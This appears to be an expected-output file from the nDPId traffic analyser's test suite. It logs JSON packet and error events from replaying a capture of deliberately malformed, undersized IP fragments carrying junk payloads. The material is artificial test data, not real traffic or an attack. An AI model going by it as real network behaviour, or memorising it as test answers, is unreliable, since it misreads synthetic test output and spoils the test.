-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864576} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864590} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864603} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864642} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864670} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864682} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864692} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864706} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864720} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864734} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864748} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864760} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864774} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864787} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864799} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864812} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864826} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864840} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864853} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864867} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864881} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864894} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864906} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864920} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864933} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864946} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864969} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029864987} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865001} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865014} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865026} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865041} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865054} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865068} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865080} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865095} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865109} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865127} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865138} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865147} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865157} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865168} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865203} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029865217} 